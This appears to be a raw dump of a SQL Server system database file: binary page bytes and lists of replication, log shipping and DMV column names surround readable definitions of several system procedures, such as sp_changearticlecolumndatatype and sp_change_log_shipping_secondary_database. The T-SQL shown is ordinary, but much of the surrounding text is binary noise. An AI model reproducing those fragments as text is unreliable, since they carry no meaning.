@dbname!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|HzP.b@ RrJ.jtR*<zX<:`8n.LJ

~
J
~BvV2


z
H

		x	6	zT(d&DlFZ4vH~N"|P(
j8`X)n	H}y[6(@subscriber6.@subscriber_db6@value6E@cmd6E@debug6*,@subid6*,@type64@capture_instance6<@captured_column_list60@filegroup_name6(@index_name6&@role_name6*@source_name6.@source_schema6<@supports_net_changes6 @dbname6$@reserved6@type6B"@article6B@artid6B2@identity_insert6B@objid6B*@publication62@last_xact_seqno6*@publication6&@publisher6,@publisher_db68@run_at_distributor6
@subid6(@subscriber6.@subscriber_db6	6@subscription_guid66@subscription_type6&@namespace6"@objname6(@agent_type6,@is_publisher6p*is_ambiguous6p8is_caller_dependent6pDis_schema_bound_reference6p,is_select_all6p(is_selected6p&is_updated6p2referenced_class6p	<referenced_class_desc6pBreferenced_database_name6p
>referenced_entity_name6p,referenced_id6p8referenced_minor_id6p<referenced_minor_name6p>referenced_schema_name6p
>referenced_server_name6p4referencing_class6p>referencing_class_desc6p@referencing_entity_name6p.referencing_id6p:referencing_minor_id6p@referencing_schema_name6-,affinity_type6-6affinity_type_desc6-*committed_kb6-8committed_target_kb6-$cpu_count6-$cpu_ticks6-Ndeadlock_monitor_serial_number6-4hyperthread_ratio6-4max_workers_count6-"ms_ticks6-,os_error_mode6-
4os_priority_class6-&os_quantum6-6physical_memory_kb6->process_kernel_time_ms6-:process_user_time_ms6-0scheduler_count6-<scheduler_total_count6-:sqlserver_start_time6-Lsqlserver_start_time_ms_ticks6-
8stack_size_in_bytes6-(time_source6-2time_source_desc6	@@allow_partition_switch6:*@publication6:"@article6-@repid6- @srcgen6-"@srcguid6@pubid2
L

h
2

V"T*

.P
N
 
		n	0	~Rd>nDr<d>hJ(^4zFd*` )Vj	!u(6ctext6&@tablenick68@drop_linked_server68@original_publisher6&@pubdbname6B@publisher_linked_server6<@redirected_publisher6Ժ*@publication6rO"@grantee6rO"@grantor6rO,@table_schema6D-@hours6D-@name6D-,@session_type6B|*@publication6*@publication6&@publisher6,@publisher_db6(@subscriber6.@subscriber_db6dclass6*@changecount6"@gen_curա6ա@pubid6{m&@tablename6{m&@ownername6{m$@procname6{m@pubid6{m@artid6{mD@generate_subscriber_proc6{m6@destination_ownerZ.&lN"Dj4x6z`Pc)
	;	(G{6E @hexstr6ZG$DriveName6)K@@break_add_into_singles6)K*@debug_print6)K@objid6)K:@subscription_active6)K"@subtype6)K6@subtype_addcolumn6)K.@subtype_adddf6}Q*@from_backup6}Q*@publication6}Q&@publisher6}Q,@publisher_db6}Q$@reserved6%U,@source_table6%U*@table_ownerXV6XV@cmd&W6&W@geom6(f"@objname6(f$@objowner6Yj*component_id6Yj.component_name6Yj"group_id6yHallocated_extent_page_count6y(database_id6y file_id6y*filegroup_id6y	Xinternal_object_reserved_page_count6y
@mixed_extent_page_count6y(pdw_node_id6y2total_page_count6yLunallocated_extent_page_count6yPuser_object_reserved_page_count6yTversion_store_reserved_page_count6z
&@publisher6^$@agent_id6^(@agent_type6(dms_core_id6(pdw_node_id6status6qK$@loginame68@secondary_database64@secondary_server6Ν&ip_address6Ν.ip_subnet_mask6Ν is_dhcp6Ν(listener_id6Ν4network_subnet_ip6ΝBnetwork_subnet_ipv4_mask6ΝJnetwork_subnet_prefix_length6Νstate6Ν	&state_desc6D
"affinity6D,creation_time6D*event_handle6D<fiber_context_address6D&fiber_data6D8instruction_address6D2is_impersonating6DDis_waiting_on_loader_lock6D(kernel_time6Dlocale6D*os_thread_id6D(pdw_node_id6D"priority6D0processor_group6D4scheduler_address6D*self_address6D	6stack_base_address6D<stack_bytes_committed6D2stack_bytes_used6D
4stack_end_address6D8started_by_sqlservr6Dstatus6D.thread_address6D,thread_handle6Dtoken6D,usermode_time6D.worker_address6׵(@table_name6p(@columnName6p@pubid6p8@qual_source_object6p.@schemasubtype6%U2@column_tracking6%U,@trigger_type6%U$@viewname6%U @tsview6%U$@trigname6%UF@current_mappings_viewname6%U	@@past_mappings_viewname6%U
:@genhistory_viewname6IZ*@publication6t@pubid6t@artid6Nd@pubid6p@pubid<h< 


p
<

n:
xP

|
@

		8		<	~P*|T,fp0ft^VB4v0jf@f,`4)	¿6Z,idle_sessions6Z*queued_loads6Z0queued_requests6Z.total_sessions6Z@dbid6Z@objid6Z$column_id6Z*display_term6Z(document_id6Z keyword6Z(property_id6`$column_id6`:distribution_ordinal6`$object_id6lf(@profile_id6	p(cached_time6	p(database_id6	p	0execution_count6	p4last_elapsed_time6	p8last_execution_time6	p6last_logical_reads6	p8last_logical_writes6	p8last_physical_reads6	p2last_worker_time6	p2max_elapsed_time6	p4max_logical_reads6	p6max_logical_writes6	p6max_physical_reads6	p
0max_worker_time6	p2min_elapsed_time6	p4min_logical_reads6	p6min_logical_writes6	p6min_physical_reads6	p0min_worker_time6	p$object_id6	p(plan_handle6	p&sql_handle6	p6total_elapsed_time6	p8total_logical_reads6	p:total_logical_writes6	p:total_physical_reads6	p
4total_worker_time6	ptype6	p$type_desc6zu8distribution_policy6zuBdistribution_policy_desc6zu$object_id6v*@publication6v&@xlockrows6v	2@active_end_date6v@@active_end_time_of_day6v6@active_start_date6v
D@active_start_time_of_day6v8@frequency_interval6vJ@frequency_recurrence_factor6vJ@frequency_relative_interval6v4@frequency_subday6vF@frequency_subday_interval6v0@frequency_type6v&@job_login6v,@job_password6v*@publication6v&@publisher6v2@publisher_login6v8@publisher_password6v
B@publisher_security_mode6v0@publisher_type6v6@snapshot_job_name6ҁ6free_entries_count6ҁ>max_free_entries_count6ҁ8memory_pool_address6ҁname6ҁ pool_id6ҁHremoved_in_all_rounds_count6ҁtype6;d&@publisherZV6ZV"@artnick6S̉(@originator6S̉.@originator_db6S̉(@request_id6S̉*@response_db6S̉.@response_srvr6T[*@publication6T[&@publisher6T[,@publisher_db6q*@publication6qD@can_use_partition_groups6q:@has_dynamic_filters6qN@dynamic_filters_function_list6qD@validate_subscriber_info6q0@uses_host_name6q4@uses_suser_sname6q4@dont_raise_error6["@article6[@artid6[@pubid6[$@nickname6[2@column_tracking6[ @status6[<@pre_creation_command6[0@resolver_clsid6[	*@insert_proc6[
*@update_proc6[*@select_proc6[8@destination_object6[
.@missing_count6[,@missing_cols6[4@article_resolver6[.@resolver_info6[.@filter_clause6[0@excluded_count6[.@excluded_cols6[6@destination_owner6[4@identity_support6[F@verify_resolver_signature6[D@fast_multicol_updateproc6[>@published_in_tran_pub6[b@logical_record_level_conflict_detection6[d@logical_record_level_conflict_resolution6[6@partition_options6[4@processing_order6[0@upload_options6[2@delete_tracking6[>@compensate_for_errors6[ 8@pub_identity_range6[!0@identity_range6["&@threshold6[#:@stream_blob_columns6[$:@preserve_rowguidcol6ƈstep6ƈphase6ƈ cmdtext6ƈ@phase6ƈ0@number_of_rowsd<Lf.r8bv.

~
H

h6d

V

		d	2		|D ^&~N|LzHj6j0t<JJv@h.zJ~H,Z
rN0`yV)	Z?6^^
J@frequency_recurrence_factor6^^	J@frequency_relative_interval6^^4@frequency_subday6^^F@frequency_subday_interval6^^0@frequency_type6^^0@from_auto_sync6^^8@ignore_distributor6^^H@ignore_distributor_failure6^^,@offloadagent6^^.@offloadserver6^^>@optional_command_line6^^2@previous_status6^^*@publication6^^&@publisher6^^<@skipobjectactivation6^^ @status6^^(@subscriber6g&@object_id6g*@object_name6g,@object_owner6j(ag_group_id6jag_id6j ag_name6j.ag_resource_id6jHautomated_backup_preference6jRautomated_backup_preference_desc6j@failure_condition_level6j
:health_check_timeout6j2local_replica_id6j6local_replica_role6j@local_replica_role_desc6j	8local_replica_state6j
Blocal_replica_state_desc6j6primary_replica_id6jDrequired_copies_to_commit6ho(@OptionName6ho*@OptionValue6ho$@ProcName66@cmd66*@publication66(@scriptfile6@artid6 @bitmap6@pubid6:$@loginame6>$@procname63&@data_type63"@ODBCVer6@hours6*@publication6&@publisher6,@publisher_db6,@session_type6*@publication6&@publisher6,@publisher_db6 @job_id6&@publisher6,@publisher_db6$@art_nick60@changes_in_gen6>@changes_in_target_gen6@gen6@@move_contents_rows_too64@num_rows_to_move6(@target_gen6"@article6*@publication6&@publisher6e)"alert_id6e)&alert_name6e)*component_id6e)$condition6e)
0condition_value6e)(description6e)"severity6e)state6e)	status6e)type66CONSTRAINT_CATALOG60CONSTRAINT_NAME64CONSTRAINT_SCHEMA6,TABLE_CATALOG6&TABLE_NAME6*TABLE_SCHEMA6E
8active_worker_count`6J0


|
X
.

tLP,


h
>

			x	V	0		d: f0v@Bh<hBzNn(`	<T	{12#u0 D8[Dhc#07
@ 8CREATE PROC sys.sp_help_spatial_geometry_index
(
	@tabname		NVARCHAR(776),		-- the TABLE to check for indexes
	@indexname		SYSNAME,		-- the INDEX name
	@verboseoutput	TINYINT,		-- OUTPUT all properties
	@query_sample	GEOMETRY		-- query window object
)
AS
BEGIN
	EXEC sys.sp_help_spatial_geometry_index_helper @tabname, @indexname, 0, null, @verboseoutput, @query_sample
END
0,@ 88t1 -0I<$ 8create function sys.dm_fts_parser(
    @querystring nvarchar(4000),
    @lcid int,
    @stoplistid int,
    @accentsensitive bit)
returns table as return
    select keyword, groupid group_id, phraseid phrase_id, occurrence,
	case matchop
		when 0 then N'Exact Match'
		when 2 then N'Noise Word'
		when 3 then N'End Of Sentence'
		when 4 then N'End of Paragraph'
		when 5 then N'End of Chapter'
		else N'Unknown'
	end special_term,
	fulltext_display_term(keyword) display_term, expansiontype expansion_type, sourceterm source_term
	from openrowset(TABLE WORDBREAK, @querystring, @lcid, @stoplistid, @accentsensitive) pars
0%@ 8
--
-- Name:    
--          sp_chagnearticlecolumndatatype
--          
-- Description: 
--			Sets article column datatype mapping
--  
-- Security: 
--          Public
--
-- Returns:
--          Success (0) or failure (1)
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_changearticlecolumndatatype
(
	@publication	sysname,
	@article		sysname,
	@column			sysname,
	@mapping_id		int = NULL,
	@type			sysname = NULL,
	@length			bigint = NULL,
	@precision		bigint = NULL,
	@scale			bigint = NULL,
	@publisher		sysname = NULL
) 
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE	@publisher_type	sysname
	
	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)
		
	IF @publisher_type = N'MSSQLSERVER'
	BEGIN	
		RAISERROR (21659, 16, -1)
		RETURN (1)
	END

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_changearticlecolumndatatype'

	EXEC @retcode = @cmd
				@publication,
				@article,
				@column,
				@mapping_id,
				@type,
				@length,
				@precision,
				@scale,
				1,
				@publisher,
				@publisher_type

	RETURN (@retcode)
END
0D 8
create procedure sys.sp_MSindexcolfrombin
	@object_id		int,
	@col_index		int,
	@colids_bin		varbinary(256),
	@colname		sysname output,
	@columns		varbinary(128) = NULL
	AS
	/* Declare variables */
	declare @start_byte int
	declare @colid int
	declare @retcode int
	set @colid = unicode( substring( convert( nvarchar(128),@colids_bin ), @col_index, 1 ) )
	select @colname = name from sys.columns where object_id = @object_id and column_id = @colid

	/* vertical partitioning is ON */
	if @columns is not NULL
	begin
		/* see if this column is currently in the vertical partitioning */
		exec @retcode = sys.sp_MStestbit @bm=@columns, @coltotest=@colid
		if @retcode=0
			select @colname = NULL
	end
	return (0)
0p% 8
/*
 * The following three scripts must retain the SQLOLE nomenclature as we provide them to be an informative
 * notification to downlevel connections.
 */
create procedure sys.sp_MSSQLDMO70_version
as
	/* localize message without changing message number */
	declare @errtxt nvarchar(1024)
	select @errtxt=text from sys.messages, sys.syslanguages
	where message_id = 29001 
		and language_id=sys.syslanguages.lcid 
		and sys.syslanguages.langid = @@langid

	if @errtxt IS NULL
	begin
		select top(1) @errtxt=text from sys.messages, sys.syslanguages
		where message_id = 29001 
	end
	RAISERROR(55555, 16, 1); -- @errtxt
	
	RETURN 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
}
E`	<9	DY0I@ 8create procedure sys.sp_MSscript_endproc (
    @objid int 
    ,@op_type varchar(3) = 'ins' -- 'ins', 'upd', 'del'
    ,@artid int
    ,@outvars nvarchar(4000)
    ,@queued_pub bit = 0
    ,@identity_insert bit = 0
)
as
BEGIN
	declare @cmd nvarchar(4000)
	declare @qualname nvarchar(517)

	exec sp_MSget_qualified_name @objid, @qualname OUTPUT

	--
	-- start scripting
	--
	select @cmd = N'
	' + N'--
	' + N'-- decide the return code
	' + N'--
	if (@execution_mode = @immediate)
	begin
		if @error != 0
      		return -1
		-- Return special code to indicate the subscriber row needs to be
		-- refreshed.
		if @rowcount = 0
      		return 5
	end'
	insert into #proctext(procedure_text) values(@cmd)

	--
	-- operation specific stuff
	--
	if (@queued_pub = 1)
	begin
		if (@op_type = 'ins')
		begin
			select @cmd = N'
	if (@execution_mode = @QFirstPass)
	begin
		if (@rowcount = 0)
		begin
			if (@error in (547, 2601, 2627))
				return 2 -- insert conflict
			else
				return -1 -- error
		end
	end'
		end
		else if (@op_type = 'upd')
		begin
			select @cmd = N'
	if (@execution_mode = @QFirstPass)
	begin
		if (@rowcount = 0)
		begin
			if (@error in (0, 547, 2601, 2627))
				return 1 -- update conflict
			else
				return -1 -- error
		end
	end'
		end
		else if (@op_type = 'del')
		begin
			select @cmd = N'
	if (@execution_mode = @QFirstPass)
	begin
		if (@rowcount = 0)
		begin
			if (@error in (0, 547))
				return 3 -- delete conflict
			else
				return -1 -- error
		end
	end'
		end
		insert into #proctext(procedure_text) values(@cmd)
		
		--
		-- continue with scripting
		--
		select @cmd = N'
	
	if (@execution_mode in (@QPubWins, @QSubWins))
	begin		
		if (@@error != 0 or @retcode != 0'
		--
		-- identity insert specific scripting
		--
		if (@identity_insert = 1)
			select @cmd = @cmd + N' or @iderror != 0'
		--
		-- continue with scripting
		--
		select @cmd = @cmd + N')
			return -1 -- error
	end
    '
		insert into #proctext(procedure_text) values(@cmd)
	end

	--
	-- if we have output vars to assign do it now
	--
	if (@outvars is not null)
	begin   
		if @op_type = 'upd'
		begin
			--
			-- Script out pk var assigment that used in sp_MSscript_where_clause
			--
			exec sp_MSscript_pkvar_assignment @objid, @artid, 1, null, null, null, @queued_pub
			insert into #proctext(procedure_text) values(N'
	')
		end

		select @cmd = N'
	select ' + @outvars + N'
	from ' + @qualname 
		insert into #proctext(procedure_text) values( @cmd)
		insert into #proctext(procedure_text) values( N'
	')
	
		if (@op_type = 'ins')
			exec sp_MSscript_where_clause @objid, @artid, 'new pk', null, 4
		else if (@op_type = 'upd')
			exec sp_MSscript_where_clause @objid, @artid, 'old pk', null, 4
	end

	--
	-- Final part of the proc
	--
    select @cmd = N'
    
	' + N'--
	' + N'-- past all checks
	' + N'--
	return 0
END
'
	insert into #proctext(procedure_text) values(@cmd)
	
	--
	-- all done
	--
	return 0
END
0y@ D8/h! L
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<0	F))Ƃ0& 8create procedure sys.sp_change_log_shipping_secondary_database 
(
    @secondary_database sysname -- cannot be NULL
    ,@restore_delay int = NULL
    ,@restore_all bit = NULL
    ,@restore_mode bit = NULL
    ,@disconnect_users bit = NULL
    ,@block_size int = NULL
    ,@buffer_count int = NULL
    ,@max_transfer_size int = NULL
    ,@restore_threshold int = NULL
    ,@threshold_alert int = NULL
    ,@threshold_alert_enabled bit = NULL
    ,@history_retention_period int = NULL
    ,@ignoreremotemonitor bit = 0
)
as
begin
    set nocount on
    declare @retcode int
                ,@secondary_id uniqueidentifier
                ,@primary_server sysname
                ,@primary_database sysname
                ,@monitor_server sysname  
                ,@monitor_server_security_mode bit

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- Does it exist
    --
    select @secondary_id = sd.secondary_id
            ,@primary_server = s.primary_server
            ,@primary_database = s.primary_database
            ,@monitor_server = s.monitor_server
            ,@monitor_server_security_mode = s.monitor_server_security_mode
    from msdb.dbo.log_shipping_secondary_databases as sd join msdb.dbo.log_shipping_secondary as s
        on sd.secondary_id = s.secondary_id
    where sd.secondary_database = @secondary_database
    if (@secondary_id is null)
    begin
        raiserror(32014, 16, 1, @secondary_database)
        return 1
    end
    --
    -- validate block_size
    --
    if (@block_size is not null and (@block_size < -1 or @block_size > 65536))
    begin
        raiserror(21055, 16, -1, N'@block_size', N'sp_change_log_shipping_secondary_database')
        return 1
    end
    --
    -- validate buffer_count
    --
    if (@buffer_count is not null and @buffer_count < -1)
    begin
        raiserror(21055, 16, -1, N'@buffer_count', N'sp_change_log_shipping_secondary_database')
        return 1
    end
    --
    -- validate buffer_count
    --
    if (@max_transfer_size is not null and @max_transfer_size < -1)
    begin
        raiserror(21055, 16, -1, N'@max_transfer_size', N'sp_change_log_shipping_secondary_database')
        return 1
    end
    --
    -- validate @threshold_alert
    --
    if (@threshold_alert is not null and @threshold_alert != 14421)
    begin
        if not exists (select * 
            from master.dbo.sysmessages where error = @threshold_alert)
        begin
            raiserror(32028, 16, 4, @threshold_alert)
            return 1
        end
    end
    --
    -- start transaction
    --
    begin tran sp_change_ls_sd
    save tran sp_change_ls_sd
    --
    -- update log_shipping_secondary_databases
    --
    update msdb.dbo.log_shipping_secondary_databases 
    set restore_delay = case when (@restore_delay is null) then restore_delay else @restore_delay end
         ,restore_all = case when (@restore_all is null) then restore_all else @restore_all end
         ,restore_mode = case when (@restore_mode is null) then restore_mode else @restore_mode end
         ,disconnect_users = case when (@disconnect_users is null) then disconnect_users else @disconnect_users end
         ,block_size = case when (@block_size is null) then block_size else @block_size end
         ,buffer_count = case when (@buffer_count is null) then buffer_count else @buffer_count end
         ,max_transfer_size = case when (@max_transfer_size is null) then max_transfer_size else @max_transfer_size end
    where secondary_id = @secondary_id
        and secondary_database = @secondary_database
    if (@@error != 0)
        goto UNDO
    --
    -- commit
    --
    commit tran
    --
    -- Add a monitor metadata 
    --
    exec @retcode = sp_MSprocesslogshippingmonitorsecondary @mode = 3
                ,@secondary_server = @@servername
                ,@secondary_database = @secondary_database
                ,@secondary_id = @secondary_id
                ,@primary_server = @primary_server
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = @monitor_server_security_mode
                ,@primary_database = @primary_database
                ,@restore_threshold = @restore_threshold
                ,@threshold_alert = @threshold_alert
                ,@threshold_alert_enabled = @threshold_alert_enabled
                ,@history_retention_period = @history_retention_period
                ,@ignoreremotemonitor = @ignoreremotemonitor
    if (@retcode != 0 or @@error != 0)
        return 1    
    --
    -- all done
    --
    return 0

UNDO:
    rollback tran sp_change_ls_sd
    commit tran
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`J2	<D
	r~0a@5@ 	8create procedure sys.sp_delete_log_shipping_secondary_database_internal 
(
    @secondary_database sysname -- cannot be NULL
    ,@ignoreremotemonitor bit = 0
    ,@overwrite bit = 0
)
as
begin
    set nocount on
    declare @retcode int
                ,@secondary_id uniqueidentifier
                ,@primary_server sysname
                ,@primary_database sysname
                ,@monitor_server sysname 
                ,@monitor_server_security_mode int

    --
    -- Does it exist
    --
    select @secondary_id = sd.secondary_id
            ,@primary_server = s.primary_server
            ,@primary_database = s.primary_database
            ,@monitor_server = s.monitor_server
            ,@monitor_server_security_mode = s.monitor_server_security_mode
    from msdb.dbo.log_shipping_secondary_databases as sd join msdb.dbo.log_shipping_secondary as s
        on sd.secondary_id = s.secondary_id
    where sd.secondary_database = @secondary_database
    if (@secondary_id is null)
    begin
        return 0
    end
    --
    -- remove monitor metadata for the secondary and remote monitor
    --
    exec sp_MSprocesslogshippingmonitorsecondary @mode = 2
                ,@secondary_server = @@servername
                ,@secondary_database = @secondary_database
                ,@secondary_id = @secondary_id
                ,@primary_server = @primary_server
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = @monitor_server_security_mode
                ,@primary_database = @primary_database
                ,@ignoreremotemonitor = @ignoreremotemonitor
    --
    -- remove entry from log_shipping_secondary_databases
    --
    delete msdb.dbo.log_shipping_secondary_databases
    where secondary_database = @secondary_database
    --
    -- unregister primary if needed
    -- during overwrite processing - skip this
    --
    if (@overwrite = 0)
    begin
        if not exists (select * from msdb.dbo.log_shipping_secondary_databases
                            where secondary_id = @secondary_id
                                and secondary_database != @secondary_database)
        begin
            exec sys.sp_delete_log_shipping_secondary_primary 
                                @primary_server = @primary_server
                                ,@primary_database = @primary_database
        end
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!